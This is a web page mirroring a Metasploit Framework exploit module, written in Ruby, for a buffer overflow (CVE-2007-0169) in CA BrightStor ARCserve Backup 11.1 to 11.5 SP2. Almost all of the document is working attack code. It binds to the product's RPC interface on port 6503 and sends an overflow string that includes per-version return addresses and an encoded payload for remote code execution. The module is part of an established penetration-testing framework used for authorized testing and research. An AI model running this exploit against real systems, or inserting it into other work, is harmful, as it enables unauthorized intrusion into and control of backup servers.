CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/message_engine.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
16
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
17
the buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC', 'aushack' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2007-0169' ],
24
[ 'OSVDB', '31318' ],
25
[ 'BID', '22005' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004
42
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
43
[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],
44
],
45
'DisclosureDate' => '2007-01-11',
46
'DefaultTarget' => 1))
47
48
register_options(
49
[
50
Opt::RPORT(6503)
51
])
52
end
53
54
def exploit
55
connect
56
57
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
58
print_status("Binding to #{handle} ...")
59
60
dcerpc_bind(handle)
61
print_status("Bound to #{handle} ...")
62
63
filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
64
65
sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
66
67
print_status("Trying target #{target.name}...")
68
69
begin
70
dcerpc_call(47, sploit)
71
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
72
end
73
74
handler
75
disconnect
76
end
77
end
78
79